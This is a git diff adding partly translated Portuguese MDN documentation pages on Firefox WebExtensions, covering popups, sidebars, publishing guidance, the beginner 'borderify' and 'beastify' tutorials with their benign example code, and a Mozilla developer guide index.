Uma janela (popup) é uma janela que está associada com um botão da barra de ferramentas ou botão da barra de endereço.

+ +

+ +

Quando o usuário clica no botão, a janela popup é exibida. Quando o usuário clica em qualquer lugar fora do popup, ele é fechado. O popup pode ser fechado via programação usando a função window.close() em um script sendo executado no popup. Entretanto, você não pode abrir o popup via programação a partir do código JavaScript da extensão: ele somente se abre em resposta a uma ação do usuário.

+ +

Você pode definir um atalho de teclado que abre o popup usando "_execute_browser_action" and "_execute_page_action". Veja a documentação da chave commands       no manifest.json.

+ +

Especificar uma janela

+ +

O popup é definido por um arquivo HTML, que pode incluir arquivos CSS e JavaScript, como uma página comum. Diferentemente de uma página comum, o código JavaScript pode usar todos os WebExtension APIs que a extensão tem permissions .

+ +

O documento do popup é carregado toda vez que ele é exibido, e descarregado quando o popup é fechado.

+ +

O arquivo HTML é incluído na extensão e especificado como parte do  browser_action ou chave page_action por "default_popup" no arquivo manifest.json:

+ +
  "browser_action": {
+    "default_icon": "icons/beasts-32.png",
+    "default_title": "Beastify",
+    "default_popup": "popup/choose_beast.html"
+  }
+ +

You can ask the browser to include a stylesheet in your popup that will make it look consistent with the browser's UI. To do this, include "browser_style": true in the browser_action or page_action key.

+ +

Popups have a Content Security Policy that restricts the sources from which they can load resources, and disallows some unsafe practices such as the use of eval(). See Content Security Policy for more details on this.

+ +

Depurar janelas

+ +

You can debug a popup's markup and JavaScript using the Add-on Debugger, but you'll need to turn on the Disable popup auto hide feature to prevent popups from hiding when you click outside them. Read about debugging popups.

+ +

Redimensionar janelas

+ +

Popups resize automatically to fit their content. The algorithm for this may differ from one browser to another.

+ +

In Firefox, the size is calculated just before the popup is shown, and at most 10 times per second after DOM mutations. For strict mode documents, the size is calculated based on the layout size of the <body> element. For quirks mode, it's the <html> element. Firefox calculates the preferred width of the contents of that element, reflows it to that width, and then resizes so there's no vertical scrolling. It will grow to a size of 800x600 pixels at most if that fits on the user's screen. If the user moves the extension's button to the menu or it appears in the toolbar overflow, then the popup appears inside the menu's panel and is given a fixed width.

+ +

No Firefox Android 57, popup é mostrada como uma página normal num novo separador.

+ +

Desenho de janela

+ +

Para obter detalhes sobre como desenhar a sua janela (popup) da página da Web para combinar com o estilo do Firefox, consulte a documentação Photon Design System.

+ +

Exemplos

+ +

The webextensions-examples  repository on GitHub includes the beastify example which implements a browser action with a popup.

+
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/sidebars/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/sidebars/index.html new file mode 100644 index 0000000000..2cfa1800a7 --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/sidebars/index.html @@ -0,0 +1,57 @@ +--- +title: Barras laterais +slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Barras_laterais +tags: + - Extensões da Web +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars +--- +
{{AddonSidebar}}
+ +
+

 

+ +

Uma barra lateral é um painel que é exibido no lado esquerdo da janela do navegador, ao lado da página da Web. O navegador fornece uma IU que permite ao utilizador ver as barras laterais atualmente disponíveis e selecionar uma barra lateral para exibir. Por exemplo, o Firefox tem um menu 'Ver -> Barra lateral'. Apenas pode ser exibida uma barra lateral de cada vez, e essa barra lateral será exibida para todos os separadores e todas as janelas do navegador.

+ +

O navegador poderá incluir uma série de barras laterais integradas. Por exemplo, o Firefox inclui uma barra lateral para interagir com marcadores:

+ +

Using the sidebar_action manifest.json key, an extension can add its own sidebar to the browser. It will be listed alongside the built-in sidebars, and the user will be able to open it using the same mechanism as for the built-in sidebars.

+ +

Like a browser action popup, you specify the sidebar's contents as an HTML document. When the user opens the sidebar, its document is loaded into every open browser window. Each window gets its own instance of the document. When new windows are opened, they get their own sidebar documents as well.

+ +

You can set a document for a particular tab using the {{WebExtAPIRef("sidebarAction.setPanel()")}} function. A sidebar can figure out which window it belongs to using the {{WebExtAPIRef("windows.getCurrent()")}} API:

+ +
// sidebar.js
+browser.windows.getCurrent({populate: true}).then((windowInfo) => {
+  myWindowId = windowInfo.id;
+});
+ +

This is useful if a sidebar wants to display different content for different windows. For an example of this, see the "annotate-page" example.

+ +

Sidebar documents get access to the same set of privileged JavaScript APIs that the extension's background and popup scripts get. They can get direct access to the background page (unless the sidebar belongs to incognito mode window) using {{WebExtAPIRef("runtime.getBackgroundPage()")}}, and can interact with content scripts or native applications using messaging APIs like {{WebExtAPIRef("tabs.sendMessage()")}} and {{WebExtAPIRef("runtime.sendNativeMessage()")}}.

+ +

Sidebar documents are unloaded when their browser window is closed or when the user closes the sidebar. This means that unlike background pages, sidebar documents don't stay loaded all the time, but unlike browser action popups, they stay loaded while the user interacts with web pages.

+ +

When an extension that defines a sidebar is first installed, its sidebar will be opened automatically. This is intended to help the user understand that the extension includes a sidebar. Note that it's not possible for extension to open sidebars programmatically: sidebars can only be opened by the user.

+ +

Especificar barras laterais

+ +

To specify a sidebar, define the default document with the sidebar_action manifest.json key, alongside a default title and icon:

+ +
"sidebar_action": {
+  "default_title": "My sidebar",
+  "default_panel": "sidebar.html",
+  "default_icon": "sidebar_icon.png"
+}
+ +

You can change the title, panel, and icon programmatically using the {{WebExtAPIRef("sidebarAction")}} API.

+ +

Title and icon are shown to the user in any UI provided by the browser to list sidebars, such as the "View > Sidebar" menu in Firefox.

+ +

Exemplo

+ +

O repositório de exemplos das extensões da Web no GitHub, contém vários exemplos de extensões que utilizam a barra lateral:

+ + +
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/what_are_webextensions/index.html b/files/pt-pt/mozilla/add-ons/webextensions/what_are_webextensions/index.html new file mode 100644 index 0000000000..c2d7ef5d71 --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/what_are_webextensions/index.html @@ -0,0 +1,59 @@ +--- +title: O que são extensões? +slug: Mozilla/Add-ons/WebExtensions/O_que_sao_WebExtensions +tags: + - Extensões + - Extensões da Web +translation_of: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions +--- +
{{AddonSidebar}}
+ +

Uma extensão adiciona funcionalidades e funções a um navegador. É criada, utilizando a tecnologia padrão baseada na Web - CSS, HTML e JavaScript. Esta tira vantagem de algumas APIs da Web, como JavaScript pode em uma página da web, mas uma extensão também tem acesso ao seu próprio conjunto de APIs de JavaScript. Isto significa que pode fazer muito mais numa extensão do que pode com o código numa página da Web. Aqui estão apenas alguns exemplos das coisas que pode fazer.

+ +

Melhore ou complemente um site da Web: utilize um extra para fornecer funcionalidades adicionais no navegador ou informação do seu site da Web. Permita que os utilizadores recolham detalhes das páginas que eles visitam, para melhorar o serviço que oferece.

+ +

+ +

Exemplos: Amazon Assistant para Firefox, OneNote Web Clipper, e Grammarly for Firefox

+ +

Deixe que os utilizadores mostrem a sua personalidade: Browser extensions can manipulate the content of pages browsed by a user. Help the user add a favorite logo or picture as the background to every page they visit. Extensions also give you the ability to update the look of the Firefox UI. (Update the Firefox UI using standalone theme add-ons too).

+ +

+ +

Exemplos: MyWeb New Tab, Tabliss, e VivaldiFox

+ +

Adicionar ou remover conteúdo das páginas da Web: You might want to help users block intrusive ads from web pages, provide access to a travel guide whenever a country or city is mentioned in a web page, or reformat page content to offer a consistent reading experience. With the ability to access and update both a page’s HTML and CSS, you can help users see the web the way they want to.

+ +

+ +

Exemplos: uBlock Origin, Reader, e Toolbox para Google Play Store™

+ +

Adicionar ferramentas e novas funcionalidades de navegação: Add new features to a taskboard, or generate QR code images from URLs, hyperlinks, or page text. With flexible UI options and the power of the WebExtensions APIs you can easily add new features to a browser. And, you can enhance almost any website’s features or functionality, it doesn't have to be your website.

+ +

+ +

Examples: QR Code Image Generator, Swimlanes for Trello, and Tomato Clock

+ +

Jogos: Offer traditional computer games, with off-line play features, but also explore new game possibilities, for example, by incorporating gameplay into everyday browsing.

+ +

 

+ +

Examples: Asteroids in Popup, Solitaire Card Game New Tab, and 2048 Prime.

+ +

Adicionar ferramentas de desenvolvimento: You may provide web development tools as your business or have developed a useful technique or approach to web development that you want to share. Either way, you can enhance the built-in Firefox developer tools by adding a new tab to the developer toolbar.

+ +

+ +

Examples: Web Developer, Web React Developer Tools, and aXe Developer Tools

+ +

Extensions for Firefox are built using the WebExtensions APIs, a cross-browser system for developing extensions. To a large extent, the API is compatible with the extension API supported by Google Chrome and Opera. Extensions written for these browsers will in most cases run in Firefox or Microsoft Edge with just a few changes. The API is also fully compatible with multiprocess Firefox.

+ +

If you have ideas or questions, or need help migrating a legacy add-on to WebExtensions APIs, you can reach us on the dev-addons mailing list or in #extdev on IRC.

+ +

E a seguir?

+ + diff --git a/files/pt-pt/mozilla/add-ons/webextensions/what_next_/index.html b/files/pt-pt/mozilla/add-ons/webextensions/what_next_/index.html new file mode 100644 index 0000000000..f16f7e619b --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/what_next_/index.html @@ -0,0 +1,60 @@ +--- +title: E a seguir? +slug: Mozilla/Add-ons/WebExtensions/E_a_seguir +tags: + - Extensão da Web + - Extensões + - Principiante +translation_of: Mozilla/Add-ons/WebExtensions/What_next_ +--- +
{{AddonSidebar}}
+ +

Agora, irá estar pronto para começar a transformar a sua ideia de uma extensão de navegador em realidade. Antes de começar essa jornada, vale a pena estar ciente de algumas coisas que irão ajudar a facilitar.

+ +

O seu ambiente de desenvolvimento

+ +

You don't need any special development or build environment tools to create browser extensions: It's entirely possible to create great browser extensions with no more than a text editor. However, you may have been developing for the web and have a set of tools and an environment you want to reuse. If you do, you need to be aware of a couple of things.

+ +

If you use minification or obfuscation tools to deliver your final code, you’ll need to provide your source code to the AMO review process. Also, the tools you use—those for minification,  obfuscation, and build processes—will need to be open source (or offer unlimited free use) and be available to run on the reviewer’s computer (Windows, Mac, or Linux). Unfortunately, our reviewers can't work with commercial or web-based tools.

+ +

Learn more about build tools

+ +

Bibliotecas de terceiros

+ +

Third-party libraries are a great way to add complex features or functionality to your browser extensions quickly. When you submit an extension to the AMO review process, the process will also consider any third-party libraries used. To streamline the review, make sure you always download third-party libraries from their official website or repository, and if the library is minified provide a link to the source code. Please note that third-party libraries cannot be modified in any way.

+ +

Learn more about submitting source code

+ +

O Acordo de Distribuição do Extra do Firefox

+ +

Browser extensions need to be signed to install into the release or beta versions of Firefox. Signing takes place in addons.mozilla.org (AMO) and is subject to the terms and conditions of the Firefox Add-on Distribution Agreement. The goal of the agreement is to ensure Firefox users get access to well supported, quality add-ons that enhance the Firefox experience.

+ +

Leia o acordo

+ +

Learn more about signing

+ +

O processo de revisão

+ +

When a browser extension is submitted for signing, it's subject to automated review. It may also be subject to a manual review, when the automated review determines that a manual review is needed. Your browser extension won't be signed until it’s passed the automated review and may have its signing revoked if it fails to pass the manual review. The review process follows a strict set of guidelines, so it’s easy to check and avoid any likely review problems.

+ +

Check out the review policy and guidelines

+ +

Extensões do navegador em destaque no AMO

+ +

If you choose to list your browser extension on AMO, your extension could be featured on the AMO website, in the Firefox browser’s add-on manager, or elsewhere on a Mozilla website. We've compiled a list of guidelines about how extensions are selected for featuring, by following these guidelines you give your extension the best chance of being featured.

+ +

Saiba mais sobre como colocar os seus extras em destaque

+ +

Continue a sua experiência de aprendizagem

+ +

Now you know what lies ahead, it's time to dive into more details about browser extension development. In the sections that follow, you’ll discover:

+ + diff --git a/files/pt-pt/mozilla/add-ons/webextensions/your_first_webextension/index.html b/files/pt-pt/mozilla/add-ons/webextensions/your_first_webextension/index.html new file mode 100644 index 0000000000..21b34f2e2c --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/your_first_webextension/index.html @@ -0,0 +1,153 @@ +--- +title: A sua primeira extensão +slug: Mozilla/Add-ons/WebExtensions/A_sua_primeira_extensao +tags: + - Extensões da Web + - Guía +translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension +--- +
{{AddonSidebar}}
+ +

Neste artigo, nós iremos abordar a criação de uma extensão para o Firefox, do início até ao fim. A extensão adiciona apenas um contorno vermelho a qualquer página carregada de 'mozilla.org' ou qualquer um dos seus subdomínios.

+ +

O código fonte para este exemplo está no GitHub: borderify.

+ +

Primeiro, precisa de ter o Firefox - versão 45 ou superior.

+ +

Escrever a extensão

+ +

Crie uma nova diretoria e vá para a mesma:

+ +
mkdir borderify
+cd borderify
+ +

manifest.json

+ +

Now create a new file called "manifest.json" directly under the "borderify" directory. Give it the following contents:

+ +
{
+
+  "manifest_version": 2,
+  "name": "Borderify",
+  "version": "1.0",
+
+  "description": "Adds a red border to all webpages matching mozilla.org.",
+
+  "icons": {
+    "48": "icons/border-48.png"
+  },
+
+  "content_scripts": [
+    {
+      "matches": ["*://*.mozilla.org/*"],
+      "js": ["borderify.js"]
+    }
+  ]
+
+}
+ + + +

The most interesting key here is content_scripts, which tells Firefox to load a script into Web pages whose URL matches a specific pattern. In this case, we're asking Firefox to load a script called "borderify.js" into all HTTP or HTTPS pages served from "mozilla.org" or any of its subdomains.

+ + + +
+

In some situations you need to specify an ID for your extension. If you do need to specify an add-on ID, include the  applications key in manifest.json and set its gecko.id property:

+ +
"applications": {
+  "gecko": {
+    "id": "borderify@example.com"
+  }
+}
+
+ +

icons/border-48.png

+ +

The extension should have an icon. This will be shown next to the extension's listing in the Add-ons Manager. Our manifest.json promised that we would have an icon at "icons/border-48.png".

+ +

Create the "icons" directory directly under the "borderify" directory. Save an icon there named "border-48.png".  You could use the one from our example, which is taken from the Google Material Design iconset, and is used under the terms of the Creative Commons Attribution-ShareAlike license.

+ +

If you choose to supply your own icon, It should be 48x48 pixels. You could also supply a 96x96 pixel icon, for high-resolution displays, and if you do this it will be specified as the 96 property of the icons object in manifest.json:

+ +
"icons": {
+  "48": "icons/border-48.png",
+  "96": "icons/border-96.png"
+}
+ +

Alternatively, you could supply an SVG file here, and it will be scaled correctly. (Though: if you're using SVG and your icon includes text, you may want to use your SVG editor's "convert to path" tool to flatten the text, so that it scales with a consistent size/position.)

+ + + +

borderify.js

+ +

Finally, create a file called "borderify.js" directly under the "borderify" directory. Give it this content:

+ +
document.body.style.border = "5px solid red";
+ +

This script will be loaded into the pages that match the pattern given in the content_scripts manifest.json key. The script has direct access to the document, just like scripts loaded by the page itself.

+ + + +

Testá-la

+ +

Primeiro, reverifique que tem os ficheiros corretos nos locais certos:

+ +
borderify/
+    icons/
+        border-48.png
+    borderify.js
+    manifest.json
+ +

Instalar

+ +

Open "about:debugging" in Firefox, click "Load Temporary Add-on" and select any file in your extension's directory:

+ +

{{EmbedYouTube("cer9EUKegG4")}}

+ +

The extension will now be installed, and will stay until you restart Firefox.

+ +

Alternatively, you can run the extension from the command line using the web-ext tool.

+ +

Testar

+ +

Now try visiting a page under "mozilla.org", and you should see the red border round the page:

+ +

{{EmbedYouTube("rxBQl2Z9IBQ")}}

+ +
+

Don't try it on addons.mozilla.org, though! Content scripts are currently blocked on that domain.

+
+ +

Try experimenting a bit. Edit the content script to change the color of the border, or do something else to the page content. Save the content script, then reload the extensions's files by clicking the "Reload" button in about:debugging. You can see the changes right away:

+ +

{{EmbedYouTube("NuajE60jfGY")}}

+ + + +

Empacotar e publicação

+ +

Para que as outras pessoas utilizem a sua extensão, precisa de empacotá-la e enviá-la para a assinar na Mozilla. Para saber mais sobre isto, consulte "Publicar a sua extensão".

+ +

E a seguir?

+ +

Agora tem uma idéia do processo de desenvolvimento de uma Extensão da Web para o Firefox, tente:

+ + diff --git a/files/pt-pt/mozilla/add-ons/webextensions/your_second_webextension/index.html b/files/pt-pt/mozilla/add-ons/webextensions/your_second_webextension/index.html new file mode 100644 index 0000000000..503f2b4ae9 --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/your_second_webextension/index.html @@ -0,0 +1,460 @@ +--- +title: A sua segunda extensão +slug: Mozilla/Add-ons/WebExtensions/A_sua_segunda_extensao +tags: + - Extensões da Web +translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension +--- +
{{AddonSidebar}} +

Se já leu o artigo da A sua primeira extensão, já tem uma ideia de como escrever uma extensão. Neste artigo, nós iremos escrever uma extensão um pouco mais complexa que demonstra algumas mais das APIs. 
+
+ A extensão adiciona um novo botão à barra de ferramentas do Firefox. Quando o utilizador clica no botão, nós exibimos uma janela que lhes permite escolher um animal. Uma vez que eles escolhem um animal, nós iremos substituir o conteúdo da página atual com uma fotografia do animal escolhido. 
+
+ Para implementar isto, nós iremos:.

+ +

To implement this, we will:

+ + + +

You could visualise the overall structure of the extension like this:

+ +

+ +

It's a simple extension, but shows many of the basic concepts of the WebExtensions API:

+ + + +

You can find complete source code for the extension on GitHub.

+ +

To write this extension, you'll need Firefox 45 or newer.

+ +

Escrever a extensão

+ +

Create a new directory and navigate to it:

+ +
mkdir beastify
+cd beastify
+ +

manifest.json

+ +

Now create a new file called "manifest.json", and give it the following contents:

+ +
{
+
+  "manifest_version": 2,
+  "name": "Beastify",
+  "version": "1.0",
+
+  "description": "Adds a browser action icon to the toolbar. Click the button to choose a beast. The active tab's body content is then replaced with a picture of the chosen beast. See https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Examples#beastify",
+  "homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/beastify",
+  "icons": {
+    "48": "icons/beasts-48.png"
+  },
+
+  "permissions": [
+    "activeTab"
+  ],
+
+  "browser_action": {
+    "default_icon": "icons/beasts-32.png",
+    "default_title": "Beastify",
+    "default_popup": "popup/choose_beast.html"
+  },
+
+  "web_accessible_resources": [
+    "beasts/frog.jpg",
+    "beasts/turtle.jpg",
+    "beasts/snake.jpg"
+  ]
+
+}
+
+ + + +

Note that all paths given are relative to manifest.json itself.

+ +

O ícone

+ +

The extension should have an icon. This will be shown next to the extension's listing in the Add-ons Manager (you can open this by visiting the URL "about:addons"). Our manifest.json promised that we would have an icon for the toolbar at "icons/beasts-48.png".

+ +

Create the "icons" directory and save an icon there named "beasts-48.png".  You could use the one from our example, which is taken from the Aha-Soft’s Free Retina iconset, and used under the terms of its license.

+ +

If you choose to supply your own icon, It should be 48x48 pixels. You could also supply a 96x96 pixel icon, for high-resolution displays, and if you do this it will be specified as the 96 property of the icons object in manifest.json:

+ +
"icons": {
+  "48": "icons/beasts-48.png",
+  "96": "icons/beasts-96.png"
+}
+ +

O botão de barra de ferramentas

+ +

The toolbar button also needs an icon, and our manifest.json promised that we would have an icon for the toolbar at "icons/beasts-32.png".

+ +

Save an icon named "beasts-32.png" in the "icons" directory. You could use the one from our example, which is taken from the IconBeast Lite icon set and used under the terms of its license.

+ +

If you don't supply a popup, then a click event is dispatched to your extension when the user clicks the button. If you do supply a popup, the click event is not dispatched, but instead, the popup is opened. We want a popup, so let's create that next.

+ +

A janela (popup)

+ +

The function of the popup is to enable the user to choose one of three beasts.

+ +

Create a new directory called "popup" under the extension root. This is where we'll keep the code for the popup. The popup will consist of three files:

+ + + +
mkdir popup
+cd popup
+touch choose_beast.html choose_beast.css choose_beast.js
+
+ +

choose_beast.html

+ +

The HTML file looks like this:

+ +
<!DOCTYPE html>
+
+<html>
+  <head>
+    <meta charset="utf-8">
+    <link rel="stylesheet" href="choose_beast.css"/>
+  </head>
+
+<body>
+  <div id="popup-content">
+    <div class="button beast">Frog</div>
+    <div class="button beast">Turtle</div>
+    <div class="button beast">Snake</div>
+    <div class="button reset">Reset</div>
+  </div>
+  <div id="error-content" class="hidden">
+    <p>Can't beastify this web page.</p><p>Try a different page.</p>
+  </div>
+  <script src="choose_beast.js"></script>
+</body>
+
+</html>
+
+ +

We have a <div> element with an ID of "popup-content" that contains an element for each animal choice. We have another <div> with an ID of "error-content" and a class "hidden". We'll use that in case there's a problem initializing the popup.

+ +

Note that we include the CSS and JS files from this file, just like a web page.

+ +

choose_beast.css

+ +

The CSS fixes the size of the popup, ensures that the three choices fill the space, and gives them some basic styling. It also hides elements with class="hidden": this means that our "error-content" <div> will be hidden by default.

+ +
html, body {
+  width: 100px;
+}
+
+.hidden {
+  display: none;
+}
+
+.button {
+  margin: 3% auto;
+  padding: 4px;
+  text-align: center;
+  font-size: 1.5em;
+  cursor: pointer;
+}
+
+.beast:hover {
+  background-color: #CFF2F2;
+}
+
+.beast {
+  background-color: #E5F2F2;
+}
+
+.reset {
+  background-color: #FBFBC9;
+}
+
+.reset:hover {
+  background-color: #EAEA9D;
+}
+
+
+ +

choose_beast.js

+ +

Here's the JavaScript for the popup:

+ +
/**
+ * CSS to hide everything on the page,
+ * except for elements that have the "beastify-image" class.
+ */
+const hidePage = `body > :not(.beastify-image) {
+                    display: none;
+                  }`;
+
+/**
+ * Listen for clicks on the buttons, and send the appropriate message to
+ * the content script in the page.
+ */
+function listenForClicks() {
+  document.addEventListener("click", (e) => {
+
+    /**
+     * Given the name of a beast, get the URL to the corresponding image.
+     */
+    function beastNameToURL(beastName) {
+      switch (beastName) {
+        case "Frog":
+          return browser.extension.getURL("beasts/frog.jpg");
+        case "Snake":
+          return browser.extension.getURL("beasts/snake.jpg");
+        case "Turtle":
+          return browser.extension.getURL("beasts/turtle.jpg");
+      }
+    }
+
+    /**
+     * Insert the page-hiding CSS into the active tab,
+     * then get the beast URL and
+     * send a "beastify" message to the content script in the active tab.
+     */
+    function beastify(tabs) {
+      browser.tabs.insertCSS({code: hidePage}).then(() => {
+        let url = beastNameToURL(e.target.textContent);
+        browser.tabs.sendMessage(tabs[0].id, {
+          command: "beastify",
+          beastURL: url
+        });
+      });
+    }
+
+    /**
+     * Remove the page-hiding CSS from the active tab,
+     * send a "reset" message to the content script in the active tab.
+     */
+    function reset(tabs) {
+      browser.tabs.removeCSS({code: hidePage}).then(() => {
+        browser.tabs.sendMessage(tabs[0].id, {
+          command: "reset",
+        });
+      });
+    }
+
+    /**
+     * Just log the error to the console.
+     */
+    function reportError(error) {
+      console.error(`Could not beastify: ${error}`);
+    }
+
+    /**
+     * Get the active tab,
+     * then call "beastify()" or "reset()" as appropriate.
+     */
+    if (e.target.classList.contains("beast")) {
+      browser.tabs.query({active: true, currentWindow: true})
+        .then(beastify)
+        .catch(reportError);
+    }
+    else if (e.target.classList.contains("reset")) {
+      browser.tabs.query({active: true, currentWindow: true})
+        .then(reset)
+        .catch(reportError);
+    }
+  });
+}
+
+/**
+ * There was an error executing the script.
+ * Display the popup's error message, and hide the normal UI.
+ */
+function reportExecuteScriptError(error) {
+  document.querySelector("#popup-content").classList.add("hidden");
+  document.querySelector("#error-content").classList.remove("hidden");
+  console.error(`Failed to execute beastify content script: ${error.message}`);
+}
+
+/**
+ * When the popup loads, inject a content script into the active tab,
+ * and add a click handler.
+ * If we couldn't inject the script, handle the error.
+ */
+browser.tabs.executeScript({file: "/content_scripts/beastify.js"})
+.then(listenForClicks)
+.catch(reportExecuteScriptError);
+
+
+ +

The place to start here is line 96. The popup script executes a content script in the active tab as soon as the popup is loaded, using the browser.tabs.executeScript() API. If executing the content script is successful, then the content script will stay loaded in the page until the tab is closed or the user navigates to a different page.

+ +

A common reason the browser.tabs.executeScript() call might fail is that you can't execute content scripts in all pages. For example, you can't execute them in privileged browser pages like about:debugging, and you can't execute them on pages in the addons.mozilla.org domain. If it does fail, reportExecuteScriptError() will hide the "popup-content" <div>, show the "error-content" <div>, and log an error to the console.

+ +

If executing the content script is successful, we call listenForClicks(). This listens for clicks on the popup.

+ + + +

The beastify() function does three things:

+ + + +

The reset() function essentially undoes a beastify:

+ + + +

O script de conteúdo

+ +

Create a new directory, under the extension root, called "content_scripts" and create a new file in it called "beastify.js", with the following contents:

+ +
(function() {
+  /**
+   * Check and set a global guard variable.
+   * If this content script is injected into the same page again,
+   * it will do nothing next time.
+   */
+  if (window.hasRun) {
+    return;
+  }
+  window.hasRun = true;
+
+  /**
+   * Given a URL to a beast image, remove all existing beasts, then
+   * create and style an IMG node pointing to
+   * that image, then insert the node into the document.
+   */
+  function insertBeast(beastURL) {
+    removeExistingBeasts();
+    let beastImage = document.createElement("img");
+    beastImage.setAttribute("src", beastURL);
+    beastImage.style.height = "100vh";
+    beastImage.className = "beastify-image";
+    document.body.appendChild(beastImage);
+  }
+
+  /**
+   * Remove every beast from the page.
+   */
+  function removeExistingBeasts() {
+    let existingBeasts = document.querySelectorAll(".beastify-image");
+    for (let beast of existingBeasts) {
+      beast.remove();
+    }
+  }
+
+  /**
+   * Listen for messages from the background script.
+   * Call "beastify()" or "reset()".
+  */
+  browser.runtime.onMessage.addListener((message) => {
+    if (message.command === "beastify") {
+      insertBeast(message.beastURL);
+    } else if (message.command === "reset") {
+      removeExistingBeasts();
+    }
+  });
+
+})();
+
+ +

The first thing the content script does is to check for a global variable window.hasRun: if it's set the script returns early, otherwise it sets window.hasRun and continues. The reason we do this is that every time the user opens the popup, the popup executes a content script in the active tab, so we could have multiple instances of the script running in a single tab. If this happens, we need to make sure that only the first instance is actually going to do anything.

+ +

After that, the place to start is line 40, where the content script listens for messages from the popup, using the browser.runtime.onMessage API. We saw above that the popup script can send two different sorts of messages: "beastify" and "reset".

+ + + +

As feras

+ +

Finally, we need to include the images of the beasts.

+ +

Create a new directory called "beasts", and add the three images in that directory, with the appropriate names. You can get the images from the GitHub repository, or from here:

+ +

+ +

Testar a extensão

+ +

First, double check that you have the right files in the right places:

+ +
beastify/
+
+    beasts/
+        frog.jpg
+        snake.jpg
+        turtle.jpg
+
+    content_scripts/
+        beastify.js
+
+    icons/
+        beasts-32.png
+        beasts-48.png
+
+    popup/
+        choose_beast.css
+        choose_beast.html
+        choose_beast.js
+
+    manifest.json
+ +

Starting in Firefox 45, you can install extensions temporarily from disk.

+ +

Open "about:debugging" in Firefox, click "Load Temporary Add-on", and select your manifest.json file. You should then see the extension's icon appear in the Firefox toolbar:

+ +

{{EmbedYouTube("sAM78GU4P34")}}

+ +

Open a web page, then click the icon, select a beast, and see the web page change:

+ +

{{EmbedYouTube("YMQXyAQSiE8")}}

+ +

Programae a partir da linha de comando

+ +

Pode automatizar o passo da instalação temporária utilizando a ferramenta web-ext. Experimente isto:

+ +
cd beastify
+web-ext run
+
diff --git a/files/pt-pt/mozilla/developer_guide/index.html b/files/pt-pt/mozilla/developer_guide/index.html new file mode 100644 index 0000000000..6f7396ce66 --- /dev/null +++ b/files/pt-pt/mozilla/developer_guide/index.html @@ -0,0 +1,101 @@ +--- +title: Guia do desenvolvedor +slug: Guia_do_desenvolvedor +translation_of: Mozilla/Developer_guide +--- +

There are lots of ways to contribute to the Mozilla project: coding, testing, improving the build process and tools, or contributing to the documentation. This guide provides information that will not only help you get started as a Mozilla contributor, but that you'll find useful to refer to even if you are already an experienced contributor.

+ +
+
+

Documentation topics

+ +
+
Getting Started
+
A step-by-step beginner's guide to getting involved with Mozilla.
+
For new Mozilla developers
+
A directory of articles which are particularly helpful for new Mozilla developers.
+
+ +
+
Working with Mozilla Source Code
+
A code overview, how to get the code, and the coding style guide.
+
Build Instructions
+
How to build Firefox, Thunderbird, SeaMonkey, or other Mozilla applications.
+
Editor Configuration
+
Tips on setting up your favorite IDE or text editor to work with Mozilla projects.
+
Development process overview
+
An overview of the entire Mozilla development process.
+
Managing multiple profiles
+
When working with prerelease versions of Firefox, it's often helpful to have multiple Firefox profiles, such as one for each channel, or for different kinds of testing.
+
Automated Testing
+
How to run Mozilla's automated tests, and how to write new tests.
+
How to submit a patch
+
After getting your patch written, you need to get it checked into the tree. This article explains the review process and how to get your patch approved.
+
Getting documentation updated
+
How to ensure that documentation is kept up to date as you develop.
+
Mozilla modules and module ownership
+
This article provides information about Mozilla's modules, what the role of a module owner is, and how module owners are selected.
+
Code snippets
+
Useful code samples for a wide variety of things you might need to figure out how to do.
+
Mozilla development strategies
+
Tips for how to make the most of your time working on the Mozilla project.
+
Debugging
+
Find helpful tips and guides for debugging Mozilla code.
+
Performance
+
Performance guides and utilities to help you make your code perform well (and to play nicely with others).
+
The Mozilla platform
+
Information about the workings of the Mozilla platform.
+
Mozilla
+
Much more additional information about Mozilla coding practices.
+
Adding APIs to the navigator object {{ gecko_minversion_inline("9.0") }}
+
How to augment the {{ domxref("window.navigator") }} object with additional APIs.
+
Interface Compatibility
+
Guidelines for modifying scriptable and binary APIs in Mozilla.
+
Customizing Firefox
+
Information about creating customized versions of Firefox.
+
Task-Graph Generation
+
What controls the jobs that run on a push to version control? How can you change that?
+
Virtual ARM Linux environment
+
How to set up an ARM emulator running Linux for testing ARM-specific, but not necessarily platform-specific, code. Useful for mobile developers.
+
Obsolete Build Caveats and Tips
+
A place to put build tips which are no longer relevant to building the latest version of the code from main but are relevant when building old codebases.
+
Firefox Source Docs
+
Web-hosted documentation built from the mozilla-central source code.
+
+
+ +
+

Tools

+ +
+
Bugzilla
+
The Bugzilla database used to track issues for Mozilla projects.
+
DXR
+
Next generation of searching Mozilla's source code. In active development.
+
SearchFox
+
Another option for Mozilla code searching. Indexes JS as well as C++, includes blame capabilities. In active development.
+
Mercurial
+
The distributed version-control system used to manage Mozilla's source code.
+
Mozilla build VM
+
A VirtualBox compatible virtual machine configured with all the software needed to build and work on Firefox.
+
TaskCluster
+
TaskCluster is the task execution framework that supports Mozilla's continuous integration and release processes.
+
Treeherder
+
Treeherder shows the status of the tree (whether or not it currently builds successfully). Check this before checking in and out, to be sure you're working with a working tree.
+
Perfherder
+
Perfherder is used to aggregate the results of automated performance tests against the tree.
+
Crash tracking
+
Information about the Socorro crash reporting system.
+
Callgraph
+
A tool to help perform static analysis of the Mozilla code by generating callgraphs automatically.
+
Developer forums
+
A topic-specific list of discussion forums and mailing lists where you can talk about Mozilla development issues.
+
Mozilla Platform Development Cheat Sheet (archive.org)
+
Brian Bondy's list of frequently referenced information for platform developers. Brian Bondy took down codefirefox.com, but the archived cheatsheet might still be useful.
+
Firefox development video tutorials
+
Brian Bondy's video tutorials on Firefox development.
+
+
+
+ +

